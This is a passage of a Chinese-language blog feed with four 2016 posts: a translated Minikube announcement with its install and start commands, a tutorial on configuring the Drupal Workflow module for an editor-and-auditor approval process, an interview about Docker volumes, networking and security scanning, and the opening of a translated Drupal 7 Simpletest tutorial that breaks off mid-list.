      <title>Minikube：轻松运行本地 Kuberntes 集群</title>
      <link>/post/minikube-easily-run-kubernetes-locally/</link>
      <pubDate>Thu, 14 Jul 2016 15:49:24 +0800</pubDate>
      <guid>/post/minikube-easily-run-kubernetes-locally/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/07/minikube-easily-run-kubernetes-locally&#34; target=&#34;_blank&#34;&gt;Minikube: easily run Kubernetes locally&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 已经是目前最佳的应用容器化工具之一。在投入实际使用之后的一年来，Kubernetes（社区）需要一个本地开发平台。&lt;/p&gt;

&lt;p&gt;在过去的几个月中，Kubernetes 社区中的很多成员在为 Github 的 &lt;a href=&#34;http://github.com/kubernetes/minikube&#34; target=&#34;_blank&#34;&gt;Minikube 仓库&lt;/a&gt; 奋战。我们要建立一个可以一键运行的版本，这个版本要易用和准确兼顾，并且能够兼容 Mac、 Linux 以及 Windows 的工作站和笔记本电脑。&lt;/p&gt;

&lt;p&gt;感谢社区成员的贡献，我们自豪的宣告 Minikube 的诞生，并与 &lt;a href=&#34;http://blog.kubernetes.io/2016/07/kubernetes-1.3-bridging-cloud-native-and-enterprise-workloads.html&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.3&lt;/a&gt; 一起发布，新的命令能够更好的跟本地集群通信，并且加入了试验性的对 xhyve（OS X）以及 KVM（Linux）的支持。&lt;/p&gt;

&lt;h2 id=&#34;使用-minikube&#34;&gt;使用 Minikube&lt;/h2&gt;

&lt;p&gt;Minitube 是一个独立的 Go 应用，所以只要下载运行就可以了：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Minikube 目前要求安装 &lt;a href=&#34;https://www.virtualbox.org/&#34; target=&#34;_blank&#34;&gt;VirtualBox&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# 这是针对 Mac， 如果是 Linux 的话，用 minikube-linux-amd64 代替 minikube-darwin-amd64 即可

curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64 &amp;amp;&amp;amp; chmod +x minikube &amp;amp;&amp;amp; sudo mv minikube /usr/local/bin/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要启动 Kubernetes 集群，要使用&lt;code&gt;minikube start&lt;/code&gt;命令：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ minikube start
Starting local Kubernetes cluster...
Kubernetes is available at https://192.168.99.100:443
Kubectl is now configured to use the cluster
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/cluster-starts.png&#34; alt=&#34;cluster starts&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样，就在你的电脑上启动了一个单节点的 Kubernetes 集群。Minikube 会给你配置 &lt;code&gt;kubectl&lt;/code&gt;，所以你现在就可以运行容器了。&lt;/p&gt;

&lt;p&gt;Minikube 创建了一个 Host-Only 的网络界面来和 Node 通信。要和其中的 Pod 或者 Service 通信，就需要跟这个地址进行交互。可以使用 &lt;code&gt;minikube ip&lt;/code&gt; 命令：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/minikube-ip.png&#34; alt=&#34;minikube ip&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Minikube 还自带了 Kubernetes Dashboard。要浏览这个界面，可以使用内置的 &lt;code&gt;minikube dashboard&lt;/code&gt;命令。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/dashboard-cmd.png&#34; alt=&#34;dashboard command&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/dashboard.png&#34; alt=&#34;dashboard screen shot&#34; /&gt;&lt;/p&gt;

&lt;p&gt;一般来说，Minikube 支持 Kubernetes 集群的所有内容。你可以使用 &lt;code&gt;kubectl exec&lt;/code&gt; 来在 pod 内获取一个 bash shell。还可以使用 &lt;code&gt;kubectl port-forward&lt;/code&gt; 以及 &lt;code&gt;kubectl proxy&lt;/code&gt; 命令来把通信从本地转发到一个 pod 或者 API server。&lt;/p&gt;

&lt;p&gt;Minikube 是运行在本地而不是云供应商，因此特定的 LoadBalancer 以及 PersistentVolume 也就无法使用了；当然，还是可以使用 NodePort 以及 HostPath 作为替代方案。&lt;/p&gt;

&lt;h2 id=&#34;架构&#34;&gt;架构&lt;/h2&gt;

&lt;p&gt;Minikube 构建于 Docker 的 &lt;a href=&#34;https://github.com/docker/machine/tree/master/libmachine&#34; target=&#34;_blank&#34;&gt;libmachine&lt;/a&gt;，利用他的驱动模型来创建、管理本地运行的虚拟机，并与其交互。&lt;/p&gt;

&lt;p&gt;慷慨的 &lt;a href=&#34;https://redspread.com/&#34; target=&#34;_blank&#34;&gt;RedSpread&lt;/a&gt;向 Minikube 贡献了他们的 &lt;a href=&#34;https://github.com/redspread/localkube&#34; target=&#34;_blank&#34;&gt;localkube&lt;/a&gt; 代码，得到这一帮助，我们有了在虚拟机中创建单进程 Kubernetes 集群的能力。Localkube 把 etcd、DNS、Kubelet 以及所有的 Kubernetes Master 组件都集成到了一个单独的 Go Lib 中并使用不同的 goroutine 执行。&lt;/p&gt;

&lt;h2 id=&#34;后续发展&#34;&gt;后续发展&lt;/h2&gt;

&lt;p&gt;Minikube 现在已经颇具可玩性了，为了改善 Kubernetes 开发体验，我们会持续对 Minikube 进行增强。如果你有任何设想，请移步 &lt;a href=&#34;https://github.com/kubernetes/minikube/issues&#34; target=&#34;_blank&#34;&gt;issue tracker&lt;/a&gt; 畅所欲言。&lt;/p&gt;

&lt;p&gt;我们希望尽快把下面列表中的内容加入 Minikube：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;为 OSX 以及 Windows 提供本地的 Native hypervisor 支持。

&lt;ul&gt;
&lt;li&gt;我们计划去掉对 Virtualbox 的依赖，转向 OSX 和 Windows 的本地 Hypervisor。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;增强对 Kubernetes 特性的支持

&lt;ul&gt;
&lt;li&gt;希望能够进一步缩小功能差异，以便于引入 Ingress 之类的内容。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;可配置的 Kubernetes 版本

&lt;ul&gt;
&lt;li&gt;目前 Minikube 只支持 Kubernetes 1.3。我们计划提供用户可控的 Kubernetes 版本支持，这样就能够让开发与生产环境更加贴近。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;社区&#34;&gt;社区&lt;/h2&gt;

&lt;p&gt;我们乐于听取 Minikube 的反馈，可以用下面的方式参与社区：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在 &lt;a href=&#34;https://github.com/kubernetes/minikube&#34; target=&#34;_blank&#34;&gt;GitHub&lt;/a&gt; 中提出 Issue 或者提出功能要求。&lt;/li&gt;
&lt;li&gt;加入 &lt;a href=&#34;https://kubernetes.slack.com/&#34; target=&#34;_blank&#34;&gt;Slack&lt;/a&gt; 的 &lt;code&gt;#minikube&lt;/code&gt; 频道&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;请给 Minikube 一个机会，并让我们能够获知 Minikube 的运行情况。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>利用 Drupal Workflow 模块实现审批发表流程</title>
      <link>/post/publish-workflow-in-drupal/</link>
      <pubDate>Fri, 08 Jul 2016 05:36:09 +0800</pubDate>
      <guid>/post/publish-workflow-in-drupal/</guid>
      <description>

&lt;p&gt;工作流，在大多数出版和办公情景下都属于一个必选组件。在之前的译文中我也介绍了一些相关的 Drupal Module，不过之前的介绍都流于表面，并没有很完整的解决问题，因此这里以一个典型的编辑审批流程为样本，详细介绍 &lt;a href=&#34;https://www.drupal.org/project/workflow&#34; target=&#34;_blank&#34;&gt;Workflow&lt;/a&gt; 模块的工作流设置方法。&lt;/p&gt;

&lt;h2 id=&#34;目标需求&#34;&gt;目标需求&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;编辑人员在未完成编辑时，可以暂存草稿。&lt;/li&gt;
&lt;li&gt;编辑完成之后，提交给上级进行审核。&lt;/li&gt;
&lt;li&gt;审核人员可以选择批准或者驳回，审核通过的稿件即可发布，未能通过的则退回到草稿箱。&lt;/li&gt;
&lt;li&gt;只有审核通过的内容才能被浏览&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;这里假设读者熟悉一般的 Drupal/Drush 操作，能够自行解决模块依赖等常见问题。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先是安装，这里我们用 Drush 来解决：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;drush en -y workflow
#访问控制
drush en -y workflow_access
#Workflow和内容的关联
drush en -y workflowfield
#rules 集成
drush en -y workflow_rules
#views集成
drush en -y workflow_views
#管理界面
drush en -y workflow_admin_ui  
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其次，我们建立两个角色：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编辑：editor&lt;/li&gt;
&lt;li&gt;审核：auditor&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;设置工作流&#34;&gt;设置工作流&lt;/h2&gt;

&lt;p&gt;根据上面的需求，我们可以确定，一篇文章有以下几个状态&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建&lt;/li&gt;
&lt;li&gt;草稿&lt;/li&gt;
&lt;li&gt;审核&lt;/li&gt;
&lt;li&gt;通过&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;以此为依据，我们开始建立工作流：&lt;/p&gt;

&lt;p&gt;访问 &lt;code&gt;admin/config/workflow/workflow/add&lt;/code&gt; （配置-&amp;gt; Workflow）开始&lt;/p&gt;

&lt;p&gt;命名，这里我们起名为“发布流程”，机读名称为 “workflow_publishment”。
保存后，开始编辑工作流的其他内容：
切换到&lt;code&gt;states&lt;/code&gt;标签页，按照前面的结果输入状态，其中缺省的&lt;code&gt;creation&lt;/code&gt;状态代表了我们的“创建”状态。录入结果如图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_status.png&#34; alt=&#34;workflow states&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里我们给发布内容确定了四个状态，而工作流所做的工作的中心，就是状态的切换，定义了状态之后，我们打开&lt;code&gt;Transitions&lt;/code&gt;标签页面开始定义他的切换，界面如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_transitions.png&#34; alt=&#34;状态迁移&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个表格初看上去比较费解，这里做个简单的解释
这个表格的意思是，每个单元格，所在行（最左侧，行首）的状态，到所在列（最上排，列头）的状态之间的切换，可以由什么角色来完成。&lt;/p&gt;

&lt;p&gt;因此图上的箭头 1，代表从创建到草稿的状态切换，可以由作者或者一个&lt;code&gt;editor&lt;/code&gt;角色的人来完成；而箭头2，代表从创建到审核过程是没有人可以做的，换个说法就是不存在这种切换。按照这个概念，我们最终完成切换设置如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_transition_result.png&#34; alt=&#34;状态迁移设置结果&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在设置完成各个状态之间的切换后，还有一个可选配置，就是给每个状态的切换动作进行命名，这些命名会显示在工作流按钮之上，给最终用户以更加清晰的指引。这一步骤位于“Labels”这一标签页上。&lt;/p&gt;

&lt;p&gt;这里我们做出如下命名：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;left&#34;&gt;从&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;到&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;名称&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;送审&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;通过&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;发表&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;审核&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;驳回&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;发表&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;草稿&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;撤回&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/field/image/workflow_access.png&#34; alt=&#34;权限设置&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后我们可以在 &lt;code&gt;Permission Summary&lt;/code&gt; 这一标签页来查看我们的设置，其中显示了各个角色能够完成的状态迁移。&lt;/p&gt;

&lt;h2 id=&#34;设置访问权限&#34;&gt;设置访问权限&lt;/h2&gt;

&lt;p&gt;在实际工作中，一般来说，提交到下一环节的内容，原作者就不应该尝试变更了。而审核人员也不应该尝试修改编辑人员的草稿，为了流程的严谨性，我们还需要对访问权限进行设置。&lt;/p&gt;

&lt;p&gt;之前我们启用的&lt;code&gt;workflow_access&lt;/code&gt;模块就是用于这个目的。&lt;/p&gt;

&lt;p&gt;这里我们设置所有人可以看所有流程的文档。&lt;/p&gt;

&lt;p&gt;但是只有作者可以修改草稿状态的文档，只有审核人员可以修改审核过程中的文档。&lt;/p&gt;

&lt;h2 id=&#34;验证设置结果&#34;&gt;验证设置结果&lt;/h2&gt;

&lt;h3 id=&#34;设置文档类型&#34;&gt;设置文档类型&lt;/h3&gt;

&lt;p&gt;这里我们新建一个简单的内容类型，命名为“需审核文档”，机读名称为“workflow_document”。保存后，为其添加字段&lt;code&gt;field_workflow&lt;/code&gt;，字段类型为&lt;code&gt;workflow&lt;/code&gt;，这一字段类型是由&lt;code&gt;workflow_field&lt;/code&gt;模块声明的。这一类型的字段也是让文档流程化的关键点。&lt;/p&gt;

&lt;p&gt;字段设置中，我们选择&lt;code&gt;workflow type&lt;/code&gt;为我们之前设置完成的工作流名称，也就是&lt;strong&gt;“发布流程”&lt;/strong&gt;，下面的微件类型，依照个人喜好，我比较习惯用按钮方式来呈现。&lt;/p&gt;

&lt;p&gt;下面的两个记录选项，打开即可。&lt;/p&gt;

&lt;p&gt;新建文档类型之后，需要为之前新建的角色分配权限。值得注意的是，&lt;strong&gt;Workflow Access 模块改写了核心的权限，因此，这里只需要给编辑人员新建这一类型文档的权限即可，其他权限由工作流进行控制。&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&#34;新建文档&#34;&gt;新建文档&lt;/h3&gt;

&lt;p&gt;首先我们切换到&lt;code&gt;editor&lt;/code&gt;角色的用户，新建一篇文档，保存后，我们会发现，多出一个工作流的标签页，其中按照我们之前对动作的命名，有草稿和送审两个状态。&lt;/p&gt;

&lt;p&gt;这里我们可以分别切换成审核人员、管理员、匿名用户来分别查看这一 Node 对不同用户的权限区别以此验证我们之前对 Access 的设置是否正确。&lt;/p&gt;

&lt;p&gt;新建结束之后，点击“送审”按钮，完成提交。&lt;/p&gt;

&lt;h3 id=&#34;审核发布&#34;&gt;审核发布&lt;/h3&gt;

&lt;p&gt;接下来切换到审核账号，打开这篇新文章之后，我们可以点击“发表”按钮，完成发表动作；也可以选择“驳回”，让编辑人员重新编辑。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这里按照我们之前的访问控制设计，审核人员是可以进行修改的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;发布后&#34;&gt;发布后&lt;/h3&gt;

&lt;p&gt;按照之前的设置，所有符合要求的角色都可以查看发布完成的结果了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：如果想让匿名用户可以查看这一文档，则需要在权限中为匿名用户打开参与工作流的权限，并在上面的流程中，为匿名用户指定可以查看的状态。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;views&#34;&gt;Views&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;workflow_views&lt;/code&gt; 启用之后，会自动新建一个视图，称为&lt;code&gt;workflow dashboard&lt;/code&gt;，其中包含了各种 Views 所需的字段过滤条件等，可以拿来参考。&lt;/p&gt;

&lt;h2 id=&#34;rules-actions&#34;&gt;Rules &amp;amp; Actions&lt;/h2&gt;

&lt;p&gt;Wrokflow 同样对这两部分进行了集成，可以根据不同流程的状态切换，结合 Actions 来完成一些自动操作。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Docker DevOps：数据容器和网络</title>
      <link>/post/data-container-network-in-docker-world/</link>
      <pubDate>Mon, 04 Jul 2016 08:57:38 +0800</pubDate>
      <guid>/post/data-container-network-in-docker-world/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;Matt Saunders 具有企业和创业的双重背景，&lt;a href=&#34;http://contino.io/&#34; target=&#34;_blank&#34;&gt;Contino&lt;/a&gt; 的高级工程师和首席 DevOps 顾问。Matt 还是 [伦敦 DevOps 会议]（超过 3000 成员的月度会议）的组织者之一。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;docker-眼中数据容器的未来是怎样的-针对数据容器不应使用在复制系统上的批评-docker-如何回应呢&#34;&gt;Docker 眼中数据容器的未来是怎样的？针对数据容器不应使用在复制系统上的批评，Docker 如何回应呢？&lt;/h2&gt;

&lt;p&gt;Docker 建议持久化数据应该存储到具名卷中，现在和未来的创新会提高这一技术的稳定性和容错性。我相信多数针对数据容器的批评的焦点在于，数据容器无法在主机间迅速转移，这就意味着随 Docker 建立的数据容器只能存在于一个主机上。然而随着 Docker 1.9 的出现， &lt;a href=&#34;https://clusterhq.com/2015/10/27/flocker-plugin-for-docker/&#34; target=&#34;_blank&#34;&gt;Flocker&lt;/a&gt;、&lt;a href=&#34;https://github.com/rancher/convoy&#34; target=&#34;_blank&#34;&gt;Convoy&lt;/a&gt; 以及 &lt;a href=&#34;http://glusterfs/&#34; target=&#34;_blank&#34;&gt;GlusterFS&lt;/a&gt; 这些的插件让 Docker 能够在这些存储集群上建立卷了。&lt;/p&gt;

&lt;h2 id=&#34;docker-的网络模型-针对目前的需要-做了哪些增强呢&#34;&gt;Docker 的网络模型，针对目前的需要，做了哪些增强呢？&lt;/h2&gt;

&lt;p&gt;Docker 1.12 带来了很多改进，包括无缝的利用独立网络来启动整个应用栈的巨大进步。同样受益于插件系统，Docker 能够使用第三方的网络插件。Docker 1.12 还增强了网络安全性，利用软件定义网络，为应用提供了隔离良好的能跨越多个 Docker 主机的网络堆栈。负载均衡得到了显著增强，这是这一版本的主要特性之一。&lt;/p&gt;

&lt;h2 id=&#34;你认为最近启动的-docker-安全扫描-对企业云用户有效果么-docker-对安全的态度是怎样的&#34;&gt;你认为最近启动的 Docker 安全扫描，对企业云用户有效果么？Docker 对安全的态度是怎样的？&lt;/h2&gt;

&lt;p&gt;Docker 最大的好处，也是企业用户最大的担心。把整个应用的依赖打包在一个镜像之中，就获得了让容器有了被迁移的能力，但是与此同时也带来了透明性的损失。&lt;/p&gt;

&lt;p&gt;Docker 的安全扫描，在 DockerHub 上根据已知的软件缺陷进行评估，降低了这一风险，在 Docker Hub 上建立了私有仓库的企业将从中获益。在私有云中运行 Docker 受信仓库的用户同样也具有这方面的担忧。，我们正准备更进一步的把这一特性带给 Docker 数据中心的用户。&lt;/p&gt;

&lt;p&gt;安全是 Docker 第一优先考虑的问题，过去发行的版本在这一方面进行了持续的增强，去年还发布了 Docker 内容信任（机制？）。这使得基于 Docker 的安装越来越好的同现有安全策略进行写作。&lt;/p&gt;

&lt;h2 id=&#34;it-团队是如何看待这一新兴技术的投资回报率的&#34;&gt;IT 团队是如何看待这一新兴技术的投资回报率的？&lt;/h2&gt;

&lt;p&gt;可以用多种途径来度量投资回报率 —— 最显而易见的就是缩减了虚拟化层造成的性能浪费。Docker 能够更快的进行代码的测试和发布，也大大的加速了软件的交付过程。&lt;/p&gt;

&lt;h2 id=&#34;你认为哪些行业更愿意拥抱容器技术&#34;&gt;你认为哪些行业更愿意拥抱容器技术？&lt;/h2&gt;

&lt;p&gt;容器技术对于 Web 应用有很好的支撑能力，因此在线商务最乐于进行这方面的投入。不过这并不是排他的，任何想要提高交付速度的行业都会跟进。&lt;/p&gt;

&lt;h2 id=&#34;在初步接触容器技术的过程中-最容易犯下什么错误&#34;&gt;在初步接触容器技术的过程中，最容易犯下什么错误？&lt;/h2&gt;

&lt;p&gt;很多公司会尝试用（过去的）虚拟化同样的思路来运行容器，这当然还是会有一定的好处，但是也有其局限性。这种做法会造出肥胖的容器，是一种买椟还珠的行为。&lt;/p&gt;

&lt;h2 id=&#34;是否存在不适合-docker-的场景&#34;&gt;是否存在不适合 Docker 的场景？&lt;/h2&gt;

&lt;p&gt;目前还局限于 Linux。&lt;/p&gt;

&lt;p&gt;Windows 支持目前还比较幼稚，但是今年会有显著的增强。另外不希望迎合技术变革的企业也不应该选择 Docker —— 这一新技术对软件的生命周期会造成巨大变化，对身处其中的企业和雇员来说，都会带来很大挑战。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 7 测试指南（simpletest）</title>
      <link>/post/drupal-7-simpletest/</link>
      <pubDate>Mon, 27 Jun 2016 21:22:58 +0800</pubDate>
      <guid>/post/drupal-7-simpletest/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/docs/7/testing/simpletest-testing-tutorial-drupal-7&#34; target=&#34;_blank&#34;&gt;Simpletest Testing tutorial (Drupal 7)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本指南中的代码在 &lt;a href=&#34;http://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Examples 模块&lt;/a&gt;中维护。这意味着：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;你可以获得一份拷贝，进行修改和试验。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果发现了问题，可以提出 issue，并获得修正。当然，尤其欢迎给出补丁或增强功能的帮助。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个指南能够帮你了解 Drupal 测试的基础知识，随后你应该有能力编写自己的第一个测试。在本例中，我们会创建一个叫做 &lt;em&gt;simpletest_example&lt;/em&gt; 的测试模块。这个模块提供一种名为 &lt;em&gt;simpletest_example&lt;/em&gt; 的内容类型。这个内容类型跟基础的 Drupal Node 是一致的。接下来会解释如何通过测试来证明 &lt;em&gt;simpletest_example&lt;/em&gt; 这一内容类型能够正常工作。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先，我们要确认已经安装了 Simpletest 模块。Drupal 7 中，Simpletest 随核心发布，命名为 Testing。请确认该模块是否被激活。&lt;/p&gt;

&lt;p&gt;Simpletest 的测试信息在 Drupal 7 中是个缺省设置，不过因为的确有用，所以还是要确认一下这个选项是打开的，这个选项打开后，会在测试的每个点生成一个截图，来展示当时的状态。可以在 &amp;ldquo;admin/config/development/testing/settings&amp;rdquo; 检查这个配置。&lt;/p&gt;

&lt;p&gt;在 Drupal 7 中，Simpletest 2.x 版本也作为&lt;a href=&#34;http://drupal.org/project/simpletest&#34; target=&#34;_blank&#34;&gt;外部模块&lt;/a&gt;提供，如果你下载和启用了这个模块，他会覆盖核心的Simpletest。另外，模块的.info 文件需要 testing_api = 2.x 才能识别，所以核心测试对 Simpletest 2.x 是无效的。&lt;/p&gt;

&lt;h2 id=&#34;drupal-simpletest-的运作方式&#34;&gt;Drupal Simpletest 的运作方式&lt;/h2&gt;

&lt;p&gt;Drupal基本上是一个提供 Web 相关功能的系统，所以对这些功能的检测就是很必要的。Simpletest 创建一个完整的 Drupal 实例，以及一个虚拟的浏览器，然后使用虚拟浏览器去测试这个 Drupal 实例，跟手动工作的情况类似。必须要注意的是，每一个测试都是在一个新的 Drupal 实例下运行的。换句话说，当前站点的用户和配置都是不存在的，所以在 Drupal 核心之外的模块也没有被启用。所以如果你的测试序列需要一个有特别权限的用户，就必须创建一个出来（这跟从头新建一个站点的情况类似）。如果对模块有依赖，也需要启用。如果对配置参数有需求，也必须用 Simpletest 来进行配置，这是因为你的当前站点的所有配置都不会被复制到这个测试实例之中，files 目录中的内容也同样不会被拷贝过去，用户同样也都不存在。然而这些任务都可以在 Simpletest 的命令中来完成，下面我们会介绍其中的一小部分。&lt;/p&gt;

&lt;h2 id=&#34;关于-simpletest-example-模块&#34;&gt;关于 Simpletest Example 模块&lt;/h2&gt;

&lt;p&gt;Simpletest Example 模块提供了一种自定义的 Node 类型。这个类型具有一个标题和内容字段。这给我们用来演示创建内容的方法。例子中实现了 *hook_node_info()*，来让 Drupal 知道这个节点类型，还实现了 &lt;em&gt;hook_form()&lt;/em&gt; 为 Node 提供一个 Form。这个模块还提供了相关的权限，来完成创建和编辑这一 Node 类型的许可。当然，我们还有一个 simpletest_example.info。&lt;/p&gt;

&lt;p&gt;注意我们的模块有个bug：权限的处理不太对头。虽然存在编辑 simpletest 示例的权限，可惜并没有正确的被 &lt;em&gt;simple_test_access()&lt;/em&gt; 处理，所以我们即使有这个权限，还是无法进行编辑。当然，我们如果手工测试的话，很可能因为我们用的是 1 号用户而导致无法复现这个情况。&lt;/p&gt;

&lt;p&gt;（又开始插播广告了——译者注）这些代码由 &lt;a href=&#34;http://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Example 模块&lt;/a&gt;提供和维护。在你作出一些重要变更之前，利用这一模块中的代码进行测试修改以及实验是非常有帮助的，欢迎大家下载安装并使用这些模块。&lt;/p&gt;

&lt;h2 id=&#34;我们做什么&#34;&gt;我们做什么&lt;/h2&gt;

&lt;p&gt;如果你安装了 simpletest_example，你可以跟随这些步骤来看看需要测试的内容：&lt;/p&gt;

&lt;p&gt;浏览 *Content &amp;gt; Add new content &amp;gt; Simpletest Example Node Type*，会看到如下页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule.png&#34; alt=&#34;Create Mymodule page&#34; /&gt;&lt;/p&gt;

&lt;p&gt;查看一下界面，确定我们要测试的内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule_identify.png&#34; alt=&#34;Create Mymodule page&#34; /&gt;&lt;/p&gt;

&lt;p&gt;手动试一下这些功能，熟悉一下即将测试的界面，并保证在 simpletest 执行之前，基本功能是可用的。如果连怎么运行都不知道，是无法编写一个可用的测试用例的。这里只要简单的在标题和内容中写几个字，然后点击保存按钮，应该会看到类似这样的结果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simpletest_mymodule_submit.png&#34; alt=&#34;Test title&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;为-simpletest-example-建立测试&#34;&gt;为 simpletest_example 建立测试。&lt;/h2&gt;

&lt;p&gt;现在是时候创建我们的测试了，我们将在 simpletest_example.test文件中完成这一任务。&lt;/p&gt;

&lt;p&gt;如果你要向 Drupal 7 模块中新增一个 .test 文件，你应该把它加入到 info 文件的 files[] 中。在我们的例子中，我们在 simpletest_example.info 中加入了这样的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;files[] = simpletest_example.test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你在使用前面提到的 Simpletest 2.x，你可能还需要在 .info 文件中加入这一行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;testing_api = 2.x
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你要往一个现存的模块中添加 .test 文件，那么可能需要重建 Drupal 的缓存，来通知 Drupal 有新文件加入。&lt;/p&gt;

&lt;p&gt;建立一个测试需要有四个基础步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;创建一个结构：继承 DrupalWebTestCase。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在测试用例的初始化过程中，创建配置信息，用户等，作为准备工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在测试用例中创建实际的测试。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;当然，如果出了问题，查查为什么测试无法正常工作，并对测试或被测试模块进行排错。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;首先，我们继承一个 DrupalWebTestCase 作为基本的模板。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
   * Tests the functionality of the Simpletest example content type.
   */
  class SimpletestExampleTestCase extends DrupalWebTestCase {
    protected $privileged_user;
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来，是很重要的 setUP() 过程。这里我们必须做点事情让这个 Drupal 实例能够按照我们期望的方式来运行。我们必须要清楚：如果我们新建一个 Drupal 站点，我们要做什么才能满足我们测试需要的条件？本例中，我们知道我们需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;启用 Simpletet Example 模块&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;建立一个有权创建 simpletest_example 内容的用户&lt;/p&gt;&lt;/li&gt;

